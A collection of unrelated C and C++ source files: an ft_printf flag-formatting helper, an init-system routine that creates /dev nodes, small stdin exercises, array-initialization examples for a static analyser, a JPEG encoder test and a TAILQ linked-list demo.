/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_doubleflag3.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: bmoulin <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/01/27 16:24:05 by bmoulin #+# #+# */ /* Updated: 2021/02/04 16:43:37 by bmoulin ### ########lyon.fr */ /* */ /* ************************************************************************** */ #include "ft_printf.h" int ft_ptnotset(const char *str, char **container, size_t **i) { long long a; long long tmpa; a = ft_geta(str); tmpa = a < 0 ? -a : a; if ((a < 0) || (tmpa <= ft_strlen(container[**i]))) return (ft_ptnotset2b(str, container, &(*i))); ft_putspace(tmpa - ft_strlen(container[**i])); if (is_in(ft_rettype(str), "xX") && container[**i][0] == '0') write(1, " ", 1); else ft_putstr(container[(**i)++]); free((char *)str); str = 0; return (tmpa); } int ft_flagdouble2(const char *str, char **container, size_t **i) { long long int a; long long int b; a = ft_geta(str); b = ft_getb(str); if (a < 0 && b < 0 && is_in(ft_rettype(str), "sc") && -a <= ft_strlen(container[**i])) { ft_putstr(container[**i]); return (ft_strlen(container[(**i)++])); } if (b < 0) b = -b; if (a == 0) return (ft_flag3(str, container, &(*i))); if (a >= b) return (ft_sab(str, container, &(*i))); if (b > a) return (ft_sba(str, container, &(*i))); return (0); } void ft_flagdouble3(const char *str, char **container, size_t **i) { long long int a; long long int b; long long int tmpa; a = ft_geta(str); tmpa = a < 0 ? -a : a; b = ft_getb(str); if (container[**i][0] == '-') { write(1, "-", 1); ft_putzerob(1 + b - ft_strlen(container[**i])); ft_putstr(container[**i] + 1); ft_putspace(tmpa - b - 1); } else { ft_putzerob(b - ft_strlen(container[**i])); ft_putstr(container[**i]); ft_putspace(tmpa - b); } } int ft_flagdouble4(const char *str, char **container, size_t **i) { long long int a; long long int b; long long int tmpa; a = ft_geta(str); tmpa = a < 0 ? -a : a; b = ft_getb(str); if (container[**i][0] == '-') { if (a > b) ft_putspace(a - b - 1); write(1, "-", 1); ft_putzerob(b - ft_strlen(container[**i]) + 1); ft_putstr(container[(**i)++] + 1); free((char *)str); str = 0; return (a); } ft_putspace(a - b); ft_putzerob(b - ft_strlen(container[**i])); ft_putstr(container[(**i)++]); free((char *)str); str = 0; return (a); } int ft_flagdouble5(const char *str, char **container, size_t **i) { long long int a; long long int b; long long int tmpa; a = ft_geta(str); tmpa = a < 0 ? -a : a; b = ft_getb(str); write(1, "-", 1); ft_putzerob(b - ft_strlen(container[**i]) + 1); ft_putstr(container[**i] + 1); if ((tmpa - ft_strlen(container[**i]) - 1) > 0) { ft_putspace(tmpa - ft_strlen(container[(**i)++]) - 1); free((char *)str); str = 0; return (tmpa); } free((char *)str); str = 0; return (tmpa + 1 - (b - ft_strlen(container[(**i)++]) + 1)); }
C
/* * Copyright (C) 2013 Felix Fietkau <[email protected]> * Copyright (C) 2013 John Crispin <[email protected]> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License version 2.1 * as published by the Free Software Foundation * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. */ #define _DEFAULT_SOURCE #include <sys/stat.h> #include <sys/types.h> #include <sys/sysmacros.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <stdbool.h> #include <dirent.h> #include <limits.h> #include <fnmatch.h> #include "init.h" static char **patterns; static int n_patterns; static char buf[PATH_MAX]; static char buf2[PATH_MAX]; static unsigned int mode = 0600; static bool find_pattern(const char *name) { int i; for (i = 0; i < n_patterns; i++) if (!fnmatch(patterns[i], name, 0)) return true; return false; } static void make_dev(const char *path, bool block, int major, int minor) { unsigned int oldumask = umask(0); unsigned int _mode = mode | (block ? S_IFBLK : S_IFCHR); DEBUG(4, "Creating %s device %s(%d,%d)\n", block ? "block" : "character", path, major, minor); mknod(path, _mode, makedev(major, minor)); umask(oldumask); } static void find_devs(bool block) { char *path = block ? "/sys/dev/block" : "/sys/dev/char"; struct dirent *dp; DIR *dir; dir = opendir(path); if (!dir) return; path = buf2 + sprintf(buf2, "%s/", path); while ((dp = readdir(dir)) != NULL) { char *c; int major = 0, minor = 0; int len; if (dp->d_type != DT_LNK) continue; if (sscanf(dp->d_name, "%d:%d", &major, &minor) != 2) continue; strcpy(path, dp->d_name); len = readlink(buf2, buf, sizeof(buf) - 1); if (len <= 0) continue; buf[len] = 0; if (!find_pattern(buf)) continue; c = strrchr(buf, '/'); if (!c) continue; c++; make_dev(c, block, major, minor); } closedir(dir); } static char *add_pattern(const char *name) { char *str = malloc(strlen(name) + 2); str[0] = '*'; strcpy(str + 1, name); return str; } int mkdev(const char *name, int _mode) { char *pattern; if (chdir("/dev")) return 1; pattern = add_pattern(name); patterns = &pattern; mode = _mode; n_patterns = 1; find_devs(true); find_devs(false); free(pattern); return chdir("/"); }
C
#include <stdio.h> int main() { int n1; int n2; int n3; scanf ("%d", &n1); for (n1; n1 > 0; n1--) { scanf ("%d %d", &n2, &n3); printf("%d\n", n2 + n3); } return (0); }
C
// Handcrafted examples I used when designing the domain int main(void) { example1(); example2(); example3(); example4(); example5(); example6(); example7(); example8(); example9(); example10(); example11(); example12(); example13(); example14(); example15(); example16(); } // Simple example void example1(void) { int a[42]; int i = 0; while(i < 42) { a[i] = 0; i++; } } // More complicated logic in initialization void example2(void) { int a[42]; int i = 0; while(i < 42) { a[i] = 0; if(i < 7) { a[i] = 3; } i++; } } // More complicated expression to index rather than just a variable void example3(void) { int a[42]; int i = 1; while(i < 43) { a[i-1] = 0; i++; } } // What if the content domain requires widening? void example4(void) { int a[42]; int i = 0; while(i < 42) { a[i] = i; i++; } } // Example showing that partial initialization is problematic when we start from // the middle (not from the very left/right) void example5(void) { int a[42]; int i = 1; while(i < 42) { a[i] = 0; i++; } } // Two values initialized in one loop void example6(void) { int a[42]; int i = 0; while(i < 42) { a[i] = 0; i++; a[i] = 1; i++; } } // What happens when we assign a variable in the expression e so that we lose // it void example7(void) { int a[42]; int i = 0; int j; while(i < 42) { a[i] = 0; i++; j = i; i = 31; i = j; } } // What happens when we assign a variable in the expression e so that we lose // it, via a function call void example8(void) { int a[42]; int i = 41; int j; while(i >= 0) { a[i] = 0; i--; j = i; i = rand(); i = j; } } // Nested loops void example9(void) { int a[42]; int i = 0; int j; while(i < 42) { a[i] = 0; j = i; while(j < 42) { a[j] = 2; j++; } i++; } } // What if two different vars are used to index in the array? void example10(void) { int a[42]; int x = srand(); if(x == 0) { int j = 0; while(j < 42) { a[j] = 0; j++; } } else { int i = 0; while(i < 42) { a[i] = 0; i++; } } } // Example where initialization proceeds backwards void example11(void) { int a[42]; for(int j=41; j >= 0; j--) { a[j] = 0; } } // Example reading from the array void example12(void) { int a[42]; int i = 0; while (i < 42) { a[i] = 7; i++; } int x = a[5]; int y = a[1]; int z = a[i-1]; assert(x == 7); assert(y == 7); assert(z == 7); } // Example having two arrays partitioned according to one expression void example13(void) { int a[42]; int b[42]; for(int i=0; i<42;i++) { a[i] = 2; b[41-i] = 0; } } // Example modifying sth used to index into the array via a pointer void example14(void) { int a[42]; int i = 0; int *ip = &i; while(*ip < 42) { a[i] = 0; (*ip)++; // unable to determine how much move was } } void example15(void) { int a[42]; int i=0; int *ip=&i; while(i < 42) { a[*ip] = 0; i++; } } void example16(void) { int a[42]; int i = 0; int j = 0; int top; while(i < 42) { a[i] = 4; i++; } i = top; while(j<10) { a[j] = -1; j++; } }
C
#include <stdio.h> #include "jpeglib.h" #include "encode.h" #include "img.h" uint8_t jpeg[64*1024] = {0}; uint8_t buf[2048]= {0}; JFILE input = { .buffer = gImage_rgb565, .index = 0 }; JFILE output = { .buffer = jpeg, .index = 0 }; int main() { printf("hello world\n\r"); jpeg_encode(&input, &output, 320, 240, 90, buf); for(int i = 0; i < 32; i++){ for(int j = 0; j < 32; j++){ printf("%02x ", jpeg[i*32 + j]); } printf("\n\r"); } printf("length: %d\n\r", output.index); FILE *fp = fopen("lll.jpg","wb"); for(int i =0; i < output.index; i++) { putc(jpeg[i], fp); } fclose(fp); }
C
#include <sys/queue.h> #include <stdio.h> #include <stdlib.h> #include <string.h> struct event { TAILQ_ENTRY (event) ev_next; int ev_fd; }; TAILQ_HEAD (event_list, event); struct event_list eventqueue; static void event_set(struct event *ev, int fd) { ev->ev_fd = fd; printf("ev(%p)\n", ev); printf(" ev_next(%p)\n", &ev->ev_next); printf(" tqe_next(%p): %p\n", &ev->ev_next.tqe_next, ev->ev_next.tqe_next); printf(" tqe_prev(%p): %p\n", &ev->ev_next.tqe_prev, ev->ev_next.tqe_prev); printf(" ev_fd(%p): %d\n\n", &ev->ev_fd, ev->ev_fd); } static void event_add(struct event *ev) { TAILQ_INSERT_TAIL(&eventqueue, ev, ev_next); printf("---------------------- after insert %p ----------------------\n", ev); printf("eventqueue(%p)\n", &eventqueue); printf(" tqh_first(%p): %p\n", &eventqueue.tqh_first, eventqueue.tqh_first); printf(" tqh_last(%p) : %p\n", &eventqueue.tqh_last, eventqueue.tqh_last); printf("\n"); printf("ev(%p)\n", ev); printf(" ev_next(%p)\n", &ev->ev_next); printf(" tqe_next(%p): %p\n", &ev->ev_next.tqe_next, ev->ev_next.tqe_next); printf(" tqe_prev(%p): %p\n", &ev->ev_next.tqe_prev, ev->ev_next.tqe_prev); printf(" ev_fd(%p): %d\n\n", &ev->ev_fd, ev->ev_fd); } int main(void) { struct event ev1, ev2, ev3; printf("---------------------- initialize ----------------------\n"); TAILQ_INIT(&eventqueue); printf("eventqueue(%p)\n", &eventqueue); printf(" tqh_first(%p): %p\n", &eventqueue.tqh_first, eventqueue.tqh_first); printf(" tqh_last(%p) : %p\n", &eventqueue.tqh_last, eventqueue.tqh_last); printf("\n"); event_set(&ev1, 1); event_set(&ev2, 2); event_set(&ev3, 3); event_add(&ev1); event_add(&ev2); event_add(&ev3); return 0; }
C
#include <bits/stdc++.h> using namespace std; int diff(pair<int,int> a,pair<int,int> b) { return abs(a.first-b.first)+abs(a.second-b.second); } int main() { map < int, pair<int,int> > A; int T,N=0,x; cin>>T; while(T--) { cin>>N; for(int i=0;i<N;i++) { for(int j=0;j<N;j++) { cin>>x; A[x]=make_pair(i+1,j+1); } } int cnt=0; for(int i=1;i<N*N;i++) { // cout<<i<<endl; cnt+=diff(A[i+1],A[i]); } cout<<cnt<<endl; A.clear(); } // your code goes here return 0; }